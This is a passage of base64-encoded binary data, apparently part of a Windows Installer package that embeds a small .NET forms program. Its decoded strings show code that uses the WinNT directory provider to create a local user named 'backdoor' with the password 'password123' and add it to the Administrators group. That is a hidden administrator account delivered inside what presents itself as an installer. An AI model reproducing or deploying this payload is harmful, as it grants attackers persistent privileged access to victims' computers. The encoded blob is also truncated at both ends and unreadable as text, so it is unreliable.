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QAOAAIADAABAAAAAAATAAIAEAACABEAAgAUAAIAEQABABEAAQAUAAEAEwABAAwAAQAPAAEAFgABAC0ABAAsAAEAGgABABsAAQAIAAEAAQADAAsAAQALAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAQABAAEAAAAAAAAAAAAOAAEACgABABgAAQABAAEAAAAAAAAAAAAbAAEAAQAIABwAAQAeAAEAGwABAAAAAAAdAAEAHgABACAAAQAdAAEADAABAAQAAQAMAAEACwABACYAAQAPAAEABAABAAsAAQA3AAEADgABAAcAAwAUAAEAFgABACsAAQBCAAUACQABAAsAAQAjAAEACAABAAoAAQAjAAEABAABAAYAAQAjAAEABAABAAYAAQAjAAEAEQABABMAAQAAAAAAFgABAAcAAQAmAAMABQACAAAAAAAEAAIABgACAAsAFQAFAAUAAQAsAAoAAQATAAIACwAGAAMAAgAIAAIACQACAAgAAgAGAAYABgAGAAYABgAGAAYABgAGACIAIgAiACkAKQApACoAKgAqACsAKwAvAC8ALwAvAC8ALwA1ADUANQA9AD0APQA9AD0ATQBNAE0ATQBNAE0ATQBNAFwAXABhAGEAYQBhAGEAYQBhAGEAbwBvAHIAcgByAHMAcwBzAHQAdAB3AHcAdwB3AHcAdwCCAIIAhgCGAIYAhgCGAIYAkACQAJAAkACQAJAAkAABgAKAA4AEgAWABoAHgAiACYAKgAGAAoADgAGAAoADgAGAAoADgAGAAoABgAKAA4AEgAWABoABgAKAA4ABgAKAA4AEgAWAAYACgAOABIAFgAaAB4AIgAGAAoABgAKAA4AEgAWABoAHgAiAAYACgAGAAoADgAGAAoADgAGAAoABgAKAA4AEgAWABoABgAKAAYACgAOABIAFgAaAAYACgAOABIAFgAaAB4ACAAUAEAASAA8AEQAOAA0ADAALACMAJQAnACMAJQAnACMAJQAnAAEALQAvADEANAA3ACUAOgA1AEkASwAjAAQAQABDAEYATQBPAFEACwBUAFYANAA3AF0AXwBhAF8AZABnAGkAawA3ACcAAQAtACMAJQAnACMAJQAnACUACwB4AHoAfAB+AIAAQACCAAcAhgCIAIoAAQAHAF8AkQCTAJUAawA3AJkAmwAgrSCtBI0EkQSR/50ClSCd/53/nUit/50ClUit/50ClUit/50ClUitAIlIrSadSI0Chf+dSJ1IrUid/49IrQKFSJ3/nQSRJq0mnUCf/58ClQKFSJ0ChSatSK1IrUiN/48EgUidFJ0ClQSBSK0AiUit/50ClUit/50Clf+t/48CpQSBQJ//nSCdSJ1IrQCPSK0Chf+P/58An0iNJq0UvRS9/70Eof+dSI0SAAIAGQABAAkAAgABAAEACQABAA4AAgAMAAEACwACABEBEQEAAPsA+wAAAAAAAAABAACAAgAAgAAAAAD8AA8BDAABAA8AAQAWAAEALQAEACwAAQAaAAEAGwABAAgAAQCRAM8A0QDSAN0A4QDjAOcA6QDqAOsA7QDuAO8A8ADxAPMA9AD2APgA+gD9ABEB0ADQANAA3gDiAOQA6ADoAOgA6ADoAOgA6ADoAPIAEAH1APcA+QD7AP4ACAABABsAAQABAAkAHAABAB4AAQAbAAEAHAABAB0AAQAeAAEAIAABAKgAqQABAAEABgABAAwAAQALAAEAJgABAA8AAQAEAAEACwABABQAAQAOAAEABwADACYAAwAWAAEAKwABAEIABQAGACIAKQAqACsALwA1AD0ATQBcAGEAbwByAHMAdAB3AIIAhgCQAAEABgABACMAAQARAAEAEwABABQAAQAWAAEA/v8AAAYBAgAAAAAAAAAAAAAAAAAAAAAAAQAAAALVzdWcLhsQk5cIACss+a4wAAAAUAAAAAMAAAABAAAAKAAAAAAAAIAwAAAADwAAADgAAAAAAAAAAAAAAAIAAACwBAAAEwAAAAkEAAAfAAAACAAAAFAAbwB3AGUAcgBVAHAAAABkR3VpZEEgc3RyaW5nIEdVSUQgdW5pcXVlIHRvIHRoaXMgY29tcG9uZW50LCB2ZXJzaW9uLCBhbmQgbGFuZ3VhZ2UuRGlyZWN0b3J5X0RpcmVjdG9yeVJlcXVpcmVkIGtleSBvZiBhIERpcmVjdG9yeSB0YWJsZSByZWNvcmQuIFRoaXMgaXMgYWN0dWFsbHkgYSBwcm9wZXJ0eSBuYW1lIHdob3NlIHZhbHVlIGNvbnRhaW5zIHRoZSBhY3R1YWwgcGF0aCwgc2V0IGVpdGhlciBieSB0aGUgQXBwU2VhcmNoIGFjdGlvbiBvciB3aXRoIHRoZSBkZWZhdWx0IHNldHRpbmcgb2J0YWluZWQgZnJvbSB0aGUgRGlyZWN0b3J5IHRhYmxlLkF0dHJpYnV0ZXNSZW1vdGUgZXhlY3V0aW9uIG9wdGlvbiwgb25lIG9mIGlyc0VudW1BIGNvbmRpdGlvbmFsIHN0YXRlbWVudCB0aGF0IHdpbGwgZGlzYWJsZSB0aGlzIGNvbXBvbmVudCBpZiB0aGUgc3BlY2lmaWVkIGNvbmRpdGlvbiBldmFsdWF0ZXMgdG8gdGhlICdUcnVlJyBzdGF0ZS4gSWYgYSBjb21wb25lbnQgaXMgZGlzYWJsZWQsIGl0IHdpbGwgbm90IGJlIGluc3RhbGxlZCwgcmVnYXJkbGVzcyBvZiB0aGUgJ0FjdGlvbicgc3RhdGUgYXNzb2NpYXRlZCB3aXRoIHRoZSBjb21wb25lbnQuS2V5UGF0aEZpbGU7UmVnaXN0cnk7T0RCQ0RhdGFTb3VyY2VFaXRoZXIgdGhlIHByaW1hcnkga2V5IGludG8gdGhlIEZpbGUgdGFibGUsIFJlZ2lzdHJ5IHRhYmxlLCBvciBPREJDRGF0YVNvdXJjZSB0YWJsZS4gVGhpcyBleHRyYWN0IHBhdGggaXMgc3RvcmVkIHdoZW4gdGhlIGNvbXBvbmVudCBpcyBpbnN0YWxsZWQsIGFuZCBpcyB1c2VkIHRvIGRldGVjdCB0aGUgcHJlc2VuY2Ugb2YgdGhlIGNvbXBvbmVudCBhbmQgdG8gcmV0dXJuIHRoZSBwYXRoIHRvIGl0LkN1c3RvbUFjdGlvblByaW1hcnkga2V5LCBuYW1lIG9mIGFjdGlvbiwgbm9ybWFsbHkgYXBwZWFycyBpbiBzZXF1ZW5jZSB0YWJsZSB1bmxlc3MgcHJpdmF0ZSB1c2UuVGhlIG51bWVyaWMgY3VzdG9tIGFjdGlvbiB0eXBlLCBjb25zaXN0aW5nIG9mIHNvdXJjZSBsb2NhdGlvbiwgY29kZSB0eXBlLCBlbnRyeSwgb3B0aW9uIGZsYWdzLlNvdXJjZUN1c3RvbVNvdXJjZVRoZSB0YWJsZSByZWZlcmVuY2Ugb2YgdGhlIHNvdXJjZSBvZiB0aGUgY29kZS5UYXJnZXRGb3JtYXR0ZWRFeGNlY3V0aW9uIHBhcmFtZXRlciwgZGVwZW5kcyBvbiB0aGUgdHlwZSBvZiBjdXN0b20gYWN0aW9uRXh0ZW5kZWRUeXBlQSBudW1lcmljIGN1c3RvbSBhY3Rpb24gdHlwZSB0aGF0IGV4dGVuZHMgY29kZSB0eXBlIG9yIG9wdGlvbiBmbGFncyBvZiB0aGUgVHlwZSBjb2x1bW4uVW5pcXVlIGlkZW50aWZpZXIgZm9yIGRpcmVjdG9yeSBlbnRyeSwgcHJpbWFyeSBrZXkuIElmIGEgcHJvcGVydHkgYnkgdGhpcyBuYW1lIGlzIGRlZmluZWQsIGl0IGNvbnRhaW5zIHRoZSBmdWxsIHBhdGggdG8gdGhlIGRpcmVjdG9yeS5EaXJlY3RvcnlfUGFyZW50UmVmZXJlbmNlIHRvIHRoZSBlbnRyeSBpbiB0aGlzIHRhYmxlIHNwZWNpZnlpbmcgdGhlIGRlZmF1bHQgcGFyZW50IGRpcmVjdG9yeS4gQSByZWNvcmQgcGFyZW50ZWQgdG8gaXRzZWxmIG9yIHdpdGggYSBOdWxsIHBhcmVudCByZXByZXNlbnRzIGEgcm9vdCBvZiB0aGUgaW5zdGFsbCB0cmVlLkRlZmF1bHREaXJUaGUgZGVmYXVsdCBzdWItcGF0aCB1bmRlciBwYXJlbnQncyBwYXRoLkZlYXR1cmVQcmltYXJ5IGtleSB1c2VkIHRvIGlkZW50aWZ5IGEgcGFydGljdWxhciBmZWF0dXJlIHJlY29yZC5GZWF0dXJlX1BhcmVudE9wdGlvbmFsIGtleSBvZiBhIHBhcmVudCByZWNvcmQgaW4gdGhlIHNhbWUgdGFibGUuIElmIHRoZSBwYXJlbnQgaXMgbm90IHNlbGVjdGVkLCB0aGVuIHRoZSByZWNvcmQgd2lsbCBub3QgYmUgaW5zdGFsbGVkLiBOdWxsIGluZGljYXRlcyBhIHJvb3QgaXRlbQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABEB4wCoAPkAgAWuAPkAjQVeABkB4wCoAPkAmwW1APkApAVpAPkAsQVeAPkAugUZACEB4wC8APkA1AXCAPkA3gXCACkB+QUZADEB4wDJADkBLAbPADkBUgbWAAkAZAa1APkAhQbdAEkBEAXjAAkAkgbCAPkAmwYZAPkAqAYKAFEB4wAKAFkB4wDuAGEBFAdNAREA4wAKAGkB4wAKAAEBNAc4AAEBRwdWAQEBaQdbAXEB4wAKABkA4wAKAHkBoQeiAXkBvAerAUkA4wCxAZEB4wC+AS4AGwDsAS4AewBKAi4AMwDyAS4ACwDOAS4AEwDsAS4AIwDsAS4AKwDOAS4AUwAKAi4AcwBBAi4ASwDsAS4AOwDsAS4AYwA0Ai4AawDFAUkAKwLFAWMAywH0AGMAwwHpAGkAKwLFAaMAAwLpAKMAwwHpAKMAywFhAYAB4wHpAJkAuQEDAAEABQACAAAA5gEzAAAABAJUAAAAfQJZAAIACQADAAIADgAFAAIADwAHAAEAEAAHAASAAAABAAAAAAAAAAAAAAAAAC0AAAACAAAAAAAAAAAAAAABAIUAAAAAAAIAAAAAAAAAAAAAAAEAnwAAAAAAAgAAAAAAAAAAAAAAAQDTAAAAAAACAAAAAAAAAAAAAAB5ALkEAAAAAAIAAAAAAAAAAAAAAHkAawUAAAAAAAAAAAEAAAD3BwAAuAAAAAEAAAAgCAAAAAAAAAA8TW9kdWxlPgBXaW5kb3dzRm9ybXNBcHBsaWNhdGlvbjEuZXhlAEZvcm0xAFdpbmRvd3NGb3Jtc0FwcGxpY2F0aW9uMQBTZXR0aW5ncwBXaW5kb3dzRm9ybXNBcHBsaWNhdGlvbjEuUHJvcGVydGllcwBQcm9ncmFtAFJlc291cmNlcwBTeXN0ZW0uV2luZG93cy5Gb3JtcwBGb3JtAFN5c3RlbQBTeXN0ZW0uQ29uZmlndXJhdGlvbgBBcHBsaWNhdGlvblNldHRpbmdzQmFzZQBtc2NvcmxpYgBPYmplY3QALmN0b3IARXZlbnRBcmdzAEZvcm0xX0xvYWQAbGFiZWwxX0NsaWNrAGxhYmVsM19DbGljawBidXR0b24xX0NsaWNrAGdyb3VwX1RleHRDaGFuZ2VkAFN5c3RlbS5Db21wb25lbnRNb2RlbABJQ29udGFpbmVyAGNvbXBvbmVudHMARGlzcG9zZQBJbml0aWFsaXplQ29tcG9uZW50AFRleHRCb3gAdXNlcm5hbWUATGFiZWwAbGFiZWwxAGxhYmVsMgBwYXNzd29yZABsYWJlbDMAZ3JvdXAAQnV0dG9uAGJ1dHRvbjEAZGVmYXVsdEluc3RhbmNlAGdldF9EZWZhdWx0AERlZmF1bHQATWFpbgBTeXN0ZW0uUmVzb3VyY2VzAFJlc291cmNlTWFuYWdlcgByZXNvdXJjZU1hbgBTeXN0ZW0uR2xvYmFsaXphdGlvbgBDdWx0dXJlSW5mbwByZXNvdXJjZUN1bHR1cmUAZ2V0X1Jlc291cmNlTWFuYWdlcgBnZXRfQ3VsdHVyZQBzZXRfQ3VsdHVyZQBDdWx0dXJlAHNlbmRlcgBlAGRpc3Bvc2luZwB2YWx1ZQBTeXN0ZW0uUmVmbGVjdGlvbgBBc3NlbWJseVRpdGxlQXR0cmlidXRlAEFzc2VtYmx5RGVzY3JpcHRpb25BdHRyaWJ1dGUAQXNzZW1ibHlDb25maWd1cmF0aW9uQXR0cmlidXRlAEFzc2VtYmx5Q29tcGFueUF0dHJpYnV0ZQBBc3NlbWJseVByb2R1Y3RBdHRyaWJ1dGUAQXNzZW1ibHlDb3B5cmlnaHRBdHRyaWJ1dGUAQXNzZW1ibHlUcmFkZW1hcmtBdHRyaWJ1dGUAQXNzZW1ibHlDdWx0dXJlQXR0cmlidXRlAFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcwBDb21WaXNpYmxlQXR0cmlidXRlAEd1aWRBdHRyaWJ1dGUAQXNzZW1ibHlWZXJzaW9uQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAU3lzdGVtLkRpYWdub3N0aWNzAERlYnVnZ2FibGVBdHRyaWJ1dGUARGVidWdnaW5nTW9kZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAEVudmlyb25tZW50AGdldF9NYWNoaW5lTmFtZQBTdHJpbmcAQ29uY2F0AFN5c3RlbS5EaXJlY3RvcnlTZXJ2aWNlcwBEaXJlY3RvcnlFbnRyeQBEaXJlY3RvcnlFbnRyaWVzAGdldF9DaGlsZHJlbgBDb250cm9sAGdldF9UZXh0AEFkZABJbnZva2UAQ29tbWl0Q2hhbmdlcwBGaW5kAGdldF9QYXRoAFRvU3RyaW5nAEFwcGxpY2F0aW9uAEV4aXQASURpc3Bvc2FibGUAU3VzcGVuZExheW91dABTeXN0ZW0uRHJhd2luZwBQb2ludABzZXRfTG9jYXRpb24Ac2V0X05hbWUAU2l6ZQBzZXRfU2l6ZQBzZXRfVGFiSW5kZXgAc2V0X1RleHQAc2V0X0F1dG9TaXplAEV2ZW50SGFuZGxlcgBhZGRfQ2xpY2sAYWRkX1RleHRDaGFuZ2VkAEJ1dHRvbkJhc2UAc2V0X1VzZVZpc3VhbFN0eWxlQmFja0NvbG9yAFNpemVGAENvbnRhaW5lckNvbnRyb2wAc2V0X0F1dG9TY2FsZURpbWVuc2lvbnMAQXV0b1NjYWxlTW9kZQBzZXRfQXV0b1NjYWxlTW9kZQBzZXRfQ2xpZW50U2l6ZQBDb250cm9sQ29sbGVjdGlvbgBnZXRfQ29udHJvbHMAYWRkX0xvYWQAUmVzdW1lTGF5b3V0AFBlcmZvcm1MYXlvdXQAQ29tcGlsZXJHZW5lcmF0ZWRBdHRyaWJ1dGUAU3lzdGVtLkNvZGVEb20uQ29tcGlsZXIAR2VuZXJhdGVkQ29kZUF0dHJpYnV0ZQAuY2N0b3IAU2V0dGluZ3NCYXNlAFN5bmNocm9uaXplZABTVEFUaHJlYWRBdHRyaWJ1dGUARW5hYmxlVmlzdWFsU3R5bGVzAFNldENvbXBhdGlibGVUZXh0UmVuZGVyaW5nRGVmYXVsdABSdW4ARGVidWdnZXJOb25Vc2VyQ29kZUF0dHJpYnV0ZQBUeXBlAFJ1bnRpbWVUeXBlSGFuZGxlAEdldFR5cGVGcm9tSGFuZGxlA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